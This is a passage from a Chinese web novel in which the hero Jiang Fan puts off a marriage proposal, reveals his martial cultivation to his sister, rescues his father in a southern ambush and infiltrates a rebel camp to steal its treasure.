她斜睨着江凡,语气带着几分揶揄:
“哦?江爱卿倒是怜香惜玉,自身难保,还惦记着未婚妻的安危?怎么?是真的对那周家小姐动了心?”
江凡心里咯噔一下,连忙解释道:
“陛下误会了!臣与周小姐虽有婚约,但更多是父母之命。臣只是觉得,此次连累了她,心中过意不去。
况且,若因臣之故,让她或臣的家人遭了毒手,臣…臣于心难安啊!”
他努力撇清‘动心’的嫌疑。
萧璇月盯着他看了半晌,才淡淡道:
“朕还没死呢!靖王还没那么大胆子,敢在京城明目张胆地动朕要保的人!
这次靖王虽然栽了,但他老谋深算,把罪名都推给他的儿子,还进行了赔礼道歉,朕现在不方便动他。
不过你放心,朕会加派人手,暗中保护周府和镇国公府的安全。若是你还不放心…”
她顿了顿,语气带着一丝捉摸不定的意味,
“朕可以下旨,将周小姐和你姐姐接入宫中暂住,由朕亲自看护,如何?”
接进宫?
那岂不是放在眼皮子底下?
江凡可不想这样,连忙道:
“陛下日理万机,岂敢再劳烦陛下!有陛下这句话,臣就放心了!臣即刻回去准备,星夜出发!”
“去吧!一路小心!朕在京城,等你的好消息!”
萧璇月挥了挥手。
“臣,告退!”
江凡躬身行礼,退出了御书房。
直到走出宫门,被夜风一吹,他才长长舒了口气。
总算暂时过关了!
虽然修为暴露,但逍遥公子的马甲似乎保住了?
而且还得了个离开京城的正当理由!
南疆…落魂涧…老爹,等着我!
而御书房内,萧璇月看着江凡消失的方向,久久不语。
“云暮,你说…他刚才的话,有几分真?几分假?”
她轻声问道。
云暮沉吟道:
“修为之事,应是真的。至于对周小姐的心思…奴婢看不透。不过,他肯为周小姐向陛下求情,至少…是有担当的。”
“担当?”萧璇月轻笑一声,意味不明,
“或许吧。只是…朕
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总觉得,这小子身上,还藏着更多的秘密。逍遥公子…真的不是他吗?”
她走到窗边,望着夜空中的繁星,心中暗道:
江凡,你可别让朕…失望啊。
离开御书房,江凡长长舒了一口气。
没想到自己苟了这么久,修为还是暴露了。
不过马甲没有暴露,也算不幸中的万幸。
他揉了揉太阳穴,正准备快步离开这是非之地。
一抬头,却看到廊柱旁,一道纤细的身影正倚栏而立,正是周婉如。
她似乎一直在等他。
见到江凡出来,周婉如眼睛一亮,快步迎了上来,脸上带着羞涩:
“江…江世子,你没事吧?陛下没有为难你吧?”
她的声音轻柔,带着关切。
江凡看着她眼中真切的担忧,心中微微一暖,摆摆手,挤出一个笑容:
“没事,陛下就是问了些山洞里的情况。倒是连累周小姐受惊了,实在过意不去。”
“世子言重了,是婉茹该谢过世子的救命之恩才是。”
周婉如连忙摇头,她抬眼飞快地看了江凡一眼,又迅速低下头,贝齿轻咬下唇,犹豫了一下,才低声道:
“只是…此番未能将靖王定罪,反而让他弃车保帅,实在是…可惜了。”
她语气中带着不甘和一丝后怕。
江凡点点头,神色也严肃了几分:
“靖王老奸巨猾,行事狠辣,此次虽断其一指,却未伤根本。周小姐日后在京城,还需多加小心,谨防他暗中报复。”
他这是真心提醒,毕竟周婉如是因为他的关系才被卷进来的。
“嗯,婉茹省得,会小心的。”
周婉如乖巧应下,随即,她目光盈盈地望向江凡,声音更轻了几分:
“世子…经过此番生死,婉茹…婉茹心中有些话,不知当讲不当讲…”
江凡心里‘咯噔’一下,有种不妙的预感,硬着头皮道:
“周小姐但说无妨。”
周婉如脸颊绯红,鼓起勇气,声音虽轻却异常坚定:
“世子…此次遇险,世子不惜男扮女装,以身犯险,护婉茹周全,此恩此情,婉茹…没齿难忘。
婉茹深知,外界对世子多有误解,如今方知世子乃重情重义、胸有丘壑的真豪杰。若…若世子不弃,待国公爷南疆凯旋,婉茹…
婉茹想请家父上门,与国公爷商议,将你我婚事…早日定下,可好?”
第095章 坦白点真相
周婉如说这话时,眼波流转,含情脉脉,显然是动了真情。
这次的经历对她来说,无疑是对两人感情的一次考验。
而江凡虽然表面纨绔,但关键时刻却替她面对危险,这样的男人她怎么能不动心?
江凡闻言,顿时一个头两个大!
真是怕什么来什么!
他连忙摆手,脸上堆起尴尬而不失礼貌的笑容:
“周小姐!万万不可!此事…此事还需从长计议!我如今声名狼藉,又无尺寸之功,实在…实在配不上周小姐!
况且,陛下也说了,让我先以国事为重,儿女私情暂且搁置…对,暂且搁置!”
他赶紧把女帝搬出来当挡箭牌。
周婉如却误会了他的‘推辞’,以为他是自谦,眼中情意更浓,柔声道:
“世子何必妄自菲薄?经此一事,你在宛如心目中乃真性情、大丈夫!至于功名…婉茹不在乎那些虚名,只愿与世子平安相守。”
她这话几乎等于表白了。
江凡听得头皮发麻,眼看这姑娘是铁了心,只好祭出终极法宝——拖字诀!
他叹了口气,脸上露出沉重之色:
“周小姐的心意,江凡感激不尽。只是眼下南疆局势未平,家父身陷险境,我身为人子,岂能此时谈及婚嫁?
我已向陛下**,将连夜前往南疆,助家父一臂之力!此事…还是等我从南疆平安归来之后,再议不迟!”
“什么?你要去南疆?”
周婉如闻言,花容失色,一把抓住江凡的衣袖,急道:
“南疆兵凶战危,听说还有叛军作乱,实在太危险了!世子你…你何必亲身涉险?”
关切之情溢于言表。
看着她毫不作伪的担忧,江凡心中也有些感动,语气缓和了些:
“父危子往,人伦常情。况且我有陛下旨意在身,不得不去。周小姐放心,我自有分寸,会平安回来的。”
他轻轻抽回衣袖,“天色已晚,我送周小姐回府吧。”
周婉如知他心意已决,且是尽孝救父,无法再劝,只得幽幽一叹,眼中满是不舍与牵挂:
“那世子一路务必珍重!婉茹…在京城等你凯旋!”
这一刻,她已将江凡视作了真正的未婚夫婿。
两人并肩走出宫门,乘坐马车,一路无话,气氛却有些微妙。
直到将周婉如安全送至周府门口,看着她一步三回头地进了府门,江凡才松了口气,吩咐车夫转向镇国公府。
……
与此同时,靖王府,书房。
“哗啦——哐当!”
名贵的官窑瓷瓶被狠狠砸在地上,摔得粉碎!
靖王萧恒脸色铁青,胸膛剧烈起伏,眼中燃烧着滔天的怒火和**!
他苦心谋划多年,眼看大事将成,却被那个该死的的‘逍遥公子’接连坏了好事!
**官员子嗣的计划彻底失败,不仅折了儿子萧昇这个重要的棋子和替罪羊,还赔上了大笔金银和部分权柄。
更可恨的是,他在朝中辛苦经营的人心,也因此事折损大半!
如今别说拉拢官员,很多官员都想跟他划清界限!
“逍遥公子!又是逍遥公子!”
萧恒从牙缝里挤出这几个字,声音嘶哑充满恨意,
“查!给本王掘地三尺也要把这个藏头露尾的鼠辈揪出来!本王要将他**万段!”
他至今想不通,消息是如何走漏的?
那逍遥公子难道真有未卜先知之能?
一名心腹幕僚战战兢兢地禀报:
“王爷息怒!眼下…眼下京城风声鹤唳,女帝必然加强了监控,此时大动干戈搜寻,恐适得其反。
当务之急,是南疆那边…根据刚收到的密报,女帝似乎已根据那话本所言,向江撼岳发出了警示,我们的计划…恐有变数!”
萧恒深吸一口气,强行压下怒火,眼中寒光闪烁:
“不错!江撼岳必须死!只要他一死,镇国公府必乱,军方格局将重新洗牌!传令南疆,‘落魂涧’计划照常进行!但动作要快!
必须在朝廷援军赶到之前,拿下江撼岳的人头!至于京城…暂时蛰伏!待南疆事成,再图后计!”
他走到书案前,拿起那本让他恨之入骨的《深宫秘恋》话本最新章节,运足真气,猛地一撕!
嗤啦——!
话本瞬间化作无数碎片,如同雪花般飘落。
但萧恒
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知道,撕碎一本书容易,要想堵住那‘逍遥公子’和百姓的嘴,难如登天!
……
镇国公府,听雨轩。
江芷兰早已得到消息,在院门口焦急地徘徊。
见到江凡的身影出现,她立刻快步迎上,拉着弟弟的手上下打量,眼圈微红:
“凡儿!你可算回来了!吓死姐姐了!听说你被贼人掳去,姐姐这心…都快跳出来了!你没事吧?有没有受伤?”
言语间满是真情流露的关切。
看着姐姐担忧的神情,江凡心中涌起一股暖流,反手握住姐姐的手,安慰道:
“姐,我没事,你看,一根头发都没少。就是…就是受了点惊吓,休息一下就好了。”
他故意轻描淡写。
“没事就好!没事就好!”
江芷兰松了口气,随即又嗔怪道:
“你说你,好端端的跟着别人乱跑什么?以后可要小心点,不明身份的人离他们远点!”
江凡犹豫了一下,觉得去南疆之事不能再瞒着姐姐了。
他拉着姐姐走进屋内,屏退左右,神色郑重起来:
“姐,有件事…我得告诉你。我…我可能要离开京城一段时间。”
“离开?你去哪儿?”江芷兰一愣。
“去南疆。”江凡低声道,
“爹在那边…可能遇到了麻烦,陛下命我前去接应。”
“什么?去南疆?”
江芷兰脸色瞬间煞白,连连摇头,
“不行!绝对不行!南疆正在打仗,兵荒马乱的,多危险啊!你…你身子骨又弱,经不起长途跋涉!我去求陛下,换别人去!”
她紧紧抓住江凡的胳膊,生怕一松手弟弟就没了。
看着姐姐如此反应,江凡心中既感动又无奈。
他知道,是时候向最亲近的姐姐坦白一部分真相了。
他深吸一口气,运转【敛息诀】,将周身气息微微释放出一丝。
一股真气波动,悄然弥漫开来。
江芷兰本身也有武艺在身,虽然不高,但对真气感应敏锐。
她猛地瞪大美眸,看着江凡,声音都变了调:
“凡儿…你…你身上这是…真气?!你…你什么时候…”
第096章 到达落魂涧
江凡点点头,脸上带着歉意:
“姐,对不起,一直瞒着你和爹。其实…我早年偶遇异人,传授了些强身健体、修炼内息的法门。
这些年…略有小成。所以,南疆之行,我有自保之力,你无需过分担心。”
“略有小成?”
江芷兰敏锐地捕捉到弟弟话语中的含糊,追问道:
“到底…到了何种境界?”
她感觉弟弟的气息,似乎比府中一些护卫队长还要浑厚!
江凡摸了摸鼻子,有些不好意思地低声道:
“大概…宗师中期吧。”
“宗、宗师中期?!”
江芷兰如遭雷击,整个人僵在原地,美眸圆睁,足足过了好几息才反应过来!
她猛地抓住江凡的肩膀,声音激动:
“凡儿!你…你说真的?!你…你真的是宗师高手?!我们江家…我们江家后继有人了!爹要是知道…爹要是知道该有多高兴!”
她喜极而泣,眼泪止不住地流下来。
一直以来,弟弟的‘不成器’都是她和父亲最大的心病。
如今这块心病,竟以如此不可思议的方式烟消云散!
但喜悦过后,便是更深的担忧:
“可是…南疆毕竟凶险,就算你是宗师,双拳难敌四手…”
“姐,你放心吧。”
江凡握住姐姐的手,语气坚定,
“我不仅是去救爹,也是奉了皇命。陛下还派了两位大宗师级别的供奉与我同行,安全无虞。
你在家好好照顾自己,若是…若是觉得府中不安稳,可进宫求见陛下,她会庇护你的。”
江芷兰知道弟弟心意已决,且是奉旨行事,无法再拦。
她擦干眼泪,用力点头:
“好!姐姐在家等你和爹凯旋!你一定要平安回来!爹…也一定要平安!”
就在这时,门外传来管家恭敬的声音:
“世子爷,宫里的两位供奉大人到了,在府门外等候。”
江凡深吸一口气,最后用力抱了抱姐姐:
“姐,保重!我走了!”
说完,他毅然转身,大步走出听雨轩,走出镇国公府。
府门外,夜色中,两名穿着普通灰袍、气息却如渊似岳的老者,牵着一匹神骏的黑马,静立等候。
见到江凡,两人微微颔首,目光中带着好奇。
这便是女帝派来的大宗供奉。
江凡翻身上马,最后回望了一眼在门口翘首以望、泪光盈盈的姐姐,一勒缰绳!
“驾!”
三骑快马,踏碎月色,如离弦之箭,冲出京城,向着南方,疾驰而去!
江芷兰看着弟弟的背影,眼泪还是忍不住。
不过这次是喜悦,嘴里忍不住轻声说道:
“娘亲,您看到了吗?凡儿长大了,也出息了...”
夜色如墨,星月无光。
通往南疆的官道上,三道人影快如鬼魅,踏地无声,每一步落下都跨越数丈距离,正是江凡与两位皇宫大宗供奉。
他们早已弃了疲惫的马匹,全凭精纯深厚的真气施展轻功身法赶路,速度比骏马狂奔还要快上数分!
夜风在耳边呼啸,刮得脸颊生疼。
江凡将身法催动到极致,体内真气奔流不息,支撑着他高速奔行。
他心急如焚,晚到一刻,父亲就多一分危险!
两位供奉一左一右紧随其后,心中却是惊疑不定。
这位传说中的‘纨绔世子’,此刻展现出的修为、耐力以及对真气的精妙掌控,哪里有一丝一毫的废柴模样?
分明是身经百战、根基扎实的宗师高手!
而且观其气息悠长,奔行如此之久竟无半分衰竭之象,简直匪夷所思!
女帝陛下派他前来,果真深意啊!
连续数个时辰的全力奔袭,即便是大宗师修为,真气消耗也是极大。
两位供奉气息已见微乱,速度不由得慢了几分。
其中一位须发皆白的老供奉开口道:
“世子,前方有一山涧,不若稍作调息,恢复一二再赶路?如此方能以全盛之态应对可能之敌。”
江凡眉头紧锁,他何尝不知这个道理?
但他更担心父亲的安危!
每耽搁一息,变数就多一分!
他心念电转,瞬间沟通系统:
【兑换极品回气丹x3!】
人气值悄然扣除。
他猛地停下脚步,手腕一翻,掌中已多了三颗龙眼大小、散发着浓郁药香和氤氲灵气的丹药。
自己服下一颗,将另外两颗抛给两位供奉,语气急促:
“两位前辈,情况紧急,家父危在旦夕,片
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刻耽搁不得!此乃家师所赐保命灵丹,可速回真气,请速服下,我们继续赶路!”
两位供奉接过丹药,只觉药香扑鼻,灵气逼人,竟是他们生平仅见的极品灵丹!
这等丹药,价值连城,有价无市!
这位世子爷竟随手拿出?
他们深深看了江凡一眼,不再多言,仰头服下。
丹药入腹,顿时化作一股暖流,迅速补充着消耗的真气,甚至让他们的修为都隐隐有一丝精进!
两人精神大振,眼中惊骇之色更浓,对江凡的‘神秘背景’再无怀疑。
“走!”
江凡低喝一声,三人再次化作流光,射向南方黑暗的群山。
有极品丹药支撑,三人再无后顾之忧,将速度提升到极致。
当东方天际泛起鱼肚白时,连绵的南疆群山已映入眼帘。
清晨的薄雾笼罩着山峦,更添几分肃杀之气。
三人毫不停留,按照地图指引,直奔边境大营。
然而,刚到营寨辕门,便得到噩耗——镇国公江撼岳已于昨日午后,亲率一队精锐,前往‘落魂涧’清剿叛军残部了!
“落魂涧!”
江凡心脏猛地一缩!
果然去了!
他来不及细问,一把抓过一名副将,厉声道:
“地图!落魂涧具体方位!快!”
副将**凡身上爆发的气势所慑,不敢怠慢,连忙指出方位。
江凡记下,对两位供奉急声道:
“两位前辈,事不宜迟,我们直接去落魂涧!”
“世子!末将派一队人马随您同去!”
副将急忙道。
“不必!人多反而累赘!”
江凡丢下一句话,与两位供奉身形再动,投入茫茫群山之中!
落魂涧,地处两山夹峙之间,涧深林密,怪石嶙峋,终年雾气弥漫,地势极为险要。
江凡三人赶到涧口时,已是日上三竿,但涧内依旧光线昏暗,雾气氤氲不散。
尚未进入,便听到涧内传来阵阵激烈的兵刃交击声、真气爆破声以及怒喝惨叫声!
“爹!”
江凡目眦欲裂,再也顾不得隐藏,大宗师中期的气势轰然爆发,身形如电,第一个冲入涧中!
两位供奉紧随其后,气息同样锁定涧内那几道强横的波动。
第097章 激起了真火
穿过一片迷雾,眼前景象让江凡倒吸一口凉气!
只见涧底一片狼藉,地上躺着几十具双方士卒的尸体。
场中,镇国公江撼岳浑身浴血,**袍多处破损,手持一杆镔铁**,正与三名身着南疆蛮族服饰、气息凶悍的高手激烈厮杀!
那三人配合默契,招式狠辣刁钻,修为两个是宗师后期,一个是大宗师初期!
江撼岳虽勇猛无匹,枪出如龙,但显然已落下风,左肩有一道深可见骨的伤口,鲜血淋漓,动作已见迟滞!
周围还有数十名叛军弓箭手,躲在岩石后不断放冷箭,更是让他险象环生!
“逆贼敢尔!”
江凡看得双目喷火,怒吼一声,也顾不上什么招式。
体内《混元一气诀》疯狂运转,毫无花哨地一拳轰向离他最近的一名蛮族宗师后背!
拳风呼啸,空气炸响!
那名蛮族宗师正全力**江撼岳,猝不及防,感到背后恶风袭来,仓促间回身一掌拍出!
“嘭!!!”
拳掌相交,发出一声闷雷般的巨响!
那蛮族宗师只觉得一股排山倒海般的巨力涌来,整条手臂‘咔嚓’一声扭曲变形,胸口如遭重击,鲜血狂喷。
身体如同破麻袋般倒飞出去,撞在石壁上,软软滑落,眼看是不活了!
另外两名蛮族宗师和江撼岳都被这突如其来的变故惊呆了!
“凡儿?!”
江撼岳看到如同神兵天降的儿子,尤其是感受到儿子身上那毫不逊色于自己的磅礴真气,虎目圆睁,简直不敢相信自己的眼睛!
“保护国公!”
两位皇宫供奉此时也已杀到,二话不说,分别迎上了一名蛮族宗师!
他们都是大宗师初期巅峰的修为,而且经验老辣,招式精妙,很快压着两人打。
江凡一击得手,毫不停留,身形一闪,已到了江撼岳身边,扶住摇摇欲坠的父亲,急切问道:
“爹!你怎么样?”
“我…我没事!皮外伤!”
江撼岳推开儿子,兀自紧握**,虎目扫过战场,又惊又喜地看着江凡,
“你…你小子…这身修为…是怎么回事?!”
他感觉自己像是在做梦!
那个被他打了十几年、骂了十几年‘不成器’的儿子,竟然是个深藏不露的宗师高手?!
而且一出手就秒杀了一个宗师?!
“爹,此事说来话长!先解决眼前的麻烦!”
江凡来不及解释,目光凌厉地扫向另一名与供奉缠斗的蛮族宗师,对父亲道:
“爹,你缠住他!我去收拾那些放冷箭的杂碎!”
说罢,他身形再动,如同虎入羊群,冲入那些叛军弓箭手之中!
对付这些先天都不到的杂兵,他根本无需动用武技,只是最简单的拳脚,每一击都蕴含着开山裂石的力量!
所过之处,骨断筋折,惨叫声不绝于耳,瞬间将那些弓箭手清理得一干二净!
此时,那名**凡偷袭重创的蛮族宗师眼见大势已去,同伴被两位供奉死死缠住,自己又身受重伤。
他眼中闪过一抹狠厉和绝望,猛地咬碎了口**囊,身体迅速变得乌黑,气绝身亡!
竟是服毒自尽了!
另外一名蛮族宗师见状也心胆俱裂,虚晃一招,逼退对手,转身就向涧深处亡命逃窜!
“哪里走!”
江凡岂能放他离去?
他脚下一蹬,身法快如闪电,几个起落便追至其后,并指如剑,一道凝练无比的先天剑气破空而出,瞬间洞穿了其后心!
那宗师身体一僵,扑倒在地,抽搐两下,便没了声息。
战斗结束,涧内瞬间安静下来,只剩下浓重的血腥味和淡淡的雾气。
江撼岳拄着**,看着满地尸体和傲立当场的儿子,心情复杂到了极点。
他走上前,重重拍了拍江凡的肩膀,声音沙哑:
“好小子!藏得够深的!老子…老子还以为江家要绝后了!”
话虽如此,虎目中却隐隐有泪光闪动,那是绝处逢生、后继有人的激动!
江凡松了口气,连忙扶住父亲:
“爹,您别激动,先处理伤口要紧!”
他连忙从系统空间取出兑换的极品金疮药和疗伤丹药,递给父亲。
江撼岳接过丹药,闻到那沁人心脾的药香,又是一愣,深深看了儿子一眼,却没有
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多问,仰头服下,又撒上金疮药。
药效奇佳,伤口处的流血立刻止住,传来一阵清凉舒爽的感觉。
“爹,您…您没收到陛下的警示吗?”
江凡一边帮父亲包扎,一边问道。
江撼岳脸色一肃,点头道:
“收到了!八百里加急…而且还有那神出鬼没的话本,也出现在我身边!若非提前得了警示,心中存了戒备,今日在这落魂涧,恐怕真要着了这些狗贼的道!”
他心有余悸,“那话本中的逍遥公子,真乃神人也!屡次料事如神!此次又救了老夫一命!”
他看向江凡,目光炯炯,
“凡儿,你实话告诉爹,你这次来,是奉了陛下的旨意还是...?”
他显然将江凡的突然出现和惊人修为,与那位神秘的‘逍遥公子’联系了起来。
江凡心中苦笑,面上却不动声色,含糊道:
“爹,此事复杂,容后细说。您没事就好。”
他赶紧转移话题,
“这些叛军,看来是靖王勾结的南疆赤焰军残部?”
江撼岳脸色阴沉下来,咬牙道:
“不错!正是那群丧家之犬!没想到他们竟敢潜回南疆,还与靖王勾结,设下如此毒计!此仇不报,我江撼岳誓不为人!”
他身上爆发出浓烈的杀气。
这时,两位供奉上前见礼:
“镇国公,陛下听闻公爷遇险,特派我等与世子前来接应。幸不辱命!”
江撼岳连忙还礼:
“有劳二位供奉!救命之恩,江某没齿难忘!”
他心中对女帝更是感激。
清理完战场,一行人退出落魂涧,回到安全地带。
江撼岳的伤势在丹药作用下稳定下来。
江凡本想劝父亲就此班师回朝,养好伤再从长计议。
不料江撼岳眼一瞪:
“回去?老子差点把命丢在这儿,就这么灰溜溜地回去?那帮叛军残孽,就躲在前面的南蛮国境内!
若不将他们连根拔起,日后必成心腹大患!南蛮国若不交人,老子就亲自带兵,踏平他的国都!”
他戎马半生,脾气火爆,此番遭暗算,更是激起了真火。
第098章 对你没兴趣
几名副将闻言,却面露难色。
一名老成持重的副将上前低声道:
“国公爷息怒!剿灭叛军,乃我等本分。只是…如今军中粮草已见短缺,饷银更是拖欠了数月。
将士们虽有报国之心,却无饱腹之粮,更无养家之银啊!贸然开战,恐…恐生变故!”
巧妇难为无米之炊,没有钱粮,再能打的军队也寸步难行。
江撼岳闻言,更是怒不可遏,一拳砸在身旁树干上:
“岂有此理!户部那帮蛀虫!克扣军饷,延误粮草,这是要逼死前线将士吗?!没有粮饷,老子一个人去!也要宰了那叛军首领祭旗!”
看着父亲暴怒却又无奈的样子,再想到京城里靖王等人的勾心斗角、克扣边饷,江凡心中叹了口气。
他想当咸鱼,想躺平,但眼看父亲要孤身犯险,国家边患未平,他如何能真的置身事外?
既然修为已经暴露,这‘纨绔’怕是装不下去了。
他上前一步,沉声道:
“爹,您身上有伤,不宜再动干戈。剿灭叛军首领之事…就让孩儿去吧。”
“你?”江撼岳一愣,看向儿子,眼中满是担忧,
“凡儿,你的心意爹明白。但南蛮国虽小,却也是龙潭虎穴,那叛军首领更是狡诈凶残,你独自前去,太危险了!”
一旁的两名供奉和几位副将却眼睛一亮。
那老成副将道:
“国公爷,世子爷年纪虽轻,但修为高深,更难得的是…无人识得他!叛军绝想不到,镇国公世子会亲自潜入南蛮行刺!此乃奇兵啊!成功率反而更高!”
“是啊国公爷!世子爷机敏过人,修为超群,定能马到成功!”
其他将领也纷纷附和。
他们见识了江凡的手段,对他充满信心。
江撼岳看着儿子坚定的眼神,又看看众将期盼的目光,沉吟良久,终于重重点头:
“好!凡儿,既然你执意要去,爹…准了!但你要记住,一切以自身安全为重!事不可为,立刻撤回!爹在边境等你消息!每隔一日,需用信鸽传回平安!”
他拿出统帅的威严,郑重叮嘱。
“孩儿遵命!”
江凡抱拳领命,心中却是一片无奈。
得,咸鱼日子彻底到头了。
这剿匪的差事,总不能让老爹去吧?
南蛮国…叛军首领…这趟浑水,自己是蹚定了!
边境线上,风声萧瑟。
江撼岳重重拍了拍儿子的肩膀,虎目之中既有担忧,更有掩饰不住的骄傲与期许。
“凡儿,一切小心!事不可为,速退!爹在这里,等你凯旋!”
他的声音带着一丝颤抖。
今日一战,儿子展现出的实力、胆魄与担当,彻底颠覆了他十几年的认知。
那个需要他时时操心、恨铁不成钢的纨绔子,转眼间已成长为可独当一面、甚至能为他分忧解难的参天大树!
这种冲击与欣慰,难以言表。
“国公爷放心!世子爷修为高深,智勇双全,定能马到成功!”
“我等在边境,静候世子佳音!”
几位副将也纷纷抱拳,语气中充满了对这位突然崛起的世子爷的信服与敬佩。
今日若非江凡及时赶到,后果不堪设想。
江凡看着父亲鬓角悄然生出的白发和眼中深藏的关切,心中涌起一股暖流,郑重点头:
“爹,诸位将军,放心!我自有分寸!定不负所托!”
他不再多言,转身,身形几个起落,便消失在茫茫山林之中,果断而决绝。
看着儿子消失的背影,江撼岳长长吐出一口浊气,脸上露出一丝如释重负的笑容,对左右叹道:
“这小子…藏得可真深啊!老子…老子以前真是错怪他了!”
语气中满是感慨。
一位老成持重的副将笑道:
“国公爷,虎父无犬子!世子爷这是大器晚成,一鸣惊人!是我大夏之福,国公府之幸啊!”
“哈哈哈!说得好!”
江撼岳心情大好,豪迈地一挥手,
“走!回营!今日险死还生,又得知凡儿成才,当浮一大白!吩咐下去,今晚加餐!把老子珍藏的那几坛…”
他话说到一半,突然卡壳,脸色尴尬地看向军需官。
军需官一脸苦相,低声道:
“国公爷…营中…营中已无酒多日了。粮草也仅够三日之用,饷银更是…唉!”
现实的问题,如同一盆冷水,
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浇在了刚刚升起的些许喜庆之上。
江撼岳脸上的笑容瞬间僵住,重重哼了一声,眼中怒火升腾:
“户部!靖王!这群蛀虫!待老子回京,再跟他们算总账!”
他憋着一肚子火,转身大步回营,背影却透着一股英雄末路般的悲凉。
没有钱粮,再能征善战的军队,也只是无根之萍。
……
与此同时,江凡已潜入南蛮国境。
他按照父亲提供的信息,一路追踪叛军溃兵留下的痕迹。
南疆山林茂密,瘴气弥漫,毒虫横行,但对于大宗师修为的江凡来说,这些自然险阻几乎可以忽略不计。
很快,他发现了几个掉队、正在一条溪边喝水的叛军散兵。
江凡眼中寒光一闪,身形如电般扑出!
掌风呼啸,瞬间将几名叛军击晕。
他挑选了一个与自己身形相仿的士兵,将其拖入密林深处。
“醒醒!”江凡一脚踹在那士兵脸上。
那士兵悠悠转醒,看到江凡,顿时吓得魂飞魄散,连连求饶:
“好汉饶命!好汉饶命!小的只是个小卒,什么都不知道啊!”
江凡懒得废话,直接命令道:
“脱衣服!”
“啊?”士兵一愣,随即脸上露出惊恐和**的表情,双手下意识地护住胸前,声音带着哭腔:
“好…好汉…小的…小的不好那口啊…求您高抬贵手…”
江凡一愣,随即一脸黑线,没好气地骂道:
“想什么呢!老子对你没兴趣!快脱!不然现在就宰了你!”
他释放出一丝杀气。
士兵吓得一哆嗦,再不敢多言,手忙脚乱地将自己那身南蛮军服脱了下来,露出精瘦黝黑的上身。
江凡接过衣服,皱了皱眉,迅速套在自己身上。
然后,他并指如刀,在那士兵惊恐的目光中,瞬间出手将他击杀。
他换好衣服,又对着溪水倒影,开始仔细易容。
易容术发动,很快便变得与那名士兵有七八分相似,再配上那身军服,混在人群中,足以以假乱真。
做完这一切,他将那士兵尸体藏在一个隐蔽的石缝里,便朝着叛军主力可能撤退的方向追去。
第099章 哪来的敌人
小半日后,他终于在一片山谷中,发现了叛军主力的临时营地。
营盘连绵,旌旗招展,虽然新败,但依旧有数千之众,戒备森严。
江凡心中凛然,这股叛军实力不容小觑。
他压低帽檐,模仿着溃兵惊魂未定的步伐和神态,混入了乱糟糟的归队人群之中,竟无人察觉。
他被分配到一个负责外围警戒的小队。
凭借敛息诀将修为压制在后天,他表现得毫不起眼,默默观察着营地的情况。
他很快锁定了中军大帐的位置,那里守卫极其森严,隐隐能感受到两股极其强大的气息蛰伏其中,远超宗师境界!
正是叛军首领和其护卫大宗师!
“果然有大宗师坐镇…还是两个!”
江凡心中暗惊。以他宗师中期的修为,对付一个或许还能周旋,面对两个,绝对是十死无生!
硬闯刺杀,绝无可能。
他按捺下急躁,耐心等待机会。
傍晚时分,营地突然一阵骚动。
一队精锐士兵押送着几十辆覆盖着厚厚油布的大车,缓缓驶入营地中心一片被重兵看守的空地。
随着油布掀开,刹那间,珠光宝气,晃花了所有人的眼!
只见车上堆满了金砖银锭、珍珠玛瑙、翡翠玉石!
还有一袋袋鼓鼓囊囊的粮食!
数量之多,价值之巨,简直骇人听闻!
“天啊!这么多财宝!”
“这都是从大夏抢来的?”
“够咱们吃用多少年啊!”
周围的叛军士兵发出阵阵惊呼和贪婪的吸气声。
就连江凡,也看得心跳加速,呼吸急促!
他瞬间明白了!
这必定是叛军多年来劫掠、以及靖王暗中资助的积累!
如今大夏国库空虚,边军缺饷少粮,若能将这些财宝粮草弄到手…
不仅能解边军燃眉之急,更能大大削弱叛军和靖王的实力!
这比单纯刺杀一个叛军首领,意义重大得多!
一个疯狂的念头在他心中滋生:偷走它!全部偷走!
他有一千立方米的系统空间!
足以装下这些财宝!
但前提是,必须靠近到一定距离,且不能引起太大动静。
正当他苦思如何接近时,耳边传来了同队士兵的闲聊。
“喂,听说了吗?大夏那边又出新的《深宫秘恋》了!”
“又是那个逍遥公子写的?说什么了?”
“说咱们这次失败,是因为最新章节提醒了镇国公要被刺杀的事情。”
“呸!胡说八道!那逍遥公子怎么可能提前知道?”
“还不相信?要不是他提醒,咱们早就干掉江撼岳那老匹夫了!”
“是啊,这话本邪门得很!好多兄弟都偷偷在看呢…尤其是里面女帝跟侍卫的香艳描述...啧啧...”
“这逍遥公子好像什么都知道,实在是可怕...”
听着这些议论,江凡眼中精光爆射!
机会来了!
逍遥公子的‘预言’,在这叛军之中,竟也有如此影响力!
正好可以利用!
他心中瞬间有了一个完整而大胆的计划!
是夜,月黑风高。
叛军营地篝火点点,巡逻队往来不绝。
江凡借口解手,悄然溜到营地边缘一个无人的角落,心神从系统空间拿出纸笔。
他要以逍遥公子的身份,再次‘预言’!
他要将今晚的‘**’行动,包装成一场‘神罚’!
既能扰乱军心,方便行动,又能为日后可能暴露的‘物资失踪’事件,预先埋下伏笔!
甚至…还能再赚一波人气值!
他开始书写最新的《深宫秘恋》章节。
书中,他写道‘大乾女帝’身边的国师夜观天象,见南疆有‘贪狼星’异动,主大凶,有血光之灾,更有‘失财’之兆!
他借角色国师之口断言,此乃叛军倒行逆施,劫掠百姓,触怒上天,故天降神罚,其不义之财,必将‘不翼而飞’,以此警示世人!
他还刻意点出叛军藏匿财宝的大致方位和特征,增加‘预言’的真实感!
写完这充满玄学色彩的‘预警’,他立刻提交系统。
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(2000份),投放至大夏及周边区域(包括南疆部分区域)…投放中…】
看着人气值再次上涨,江凡嘴角勾起一抹冷笑。
种子已经播下,只待开花结果!
他悄无声息地返回营帐,假装入睡,实则将【敛息诀】运转到极致,神识小心翼翼地蔓延向那片重兵把守的‘宝库’区域。
他在计算距离,规划路线,寻找最佳的动手时机和撤离路线。
夜,越来越深。
营地的喧嚣渐渐平息,只有巡夜士兵的脚步声和远处不
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知名野兽的嚎叫偶尔响起。
江凡耐心等待着。
子时,是人最困倦的时刻,也是守卫可能松懈的时候。
当时辰将至,他缓缓睁开双眼。
月隐星稀,叛军营地一片寂静。
江凡悄无声息地滑出营帐,将身法催动到极致,身形几乎融入夜色,朝着营地中心那片重兵把守的‘宝库’区域潜行而去。
他心跳微微加速,不是因为恐惧,而是因为兴奋与紧张。
那堆积如山的金银财宝和粮草,不仅关乎边军存亡,而且也能极大打击叛军的士气。
只要得手,立刻远遁千里,深藏功与名!
然而,就在他距离宝库区域不足百步,正准备寻找最佳角度和时机动手时——
“敌袭——!!!”
一声凄厉的警哨声,猛地划破了夜的宁静!
紧接着,营地四周骤然爆发出震耳欲聋的喊杀声!
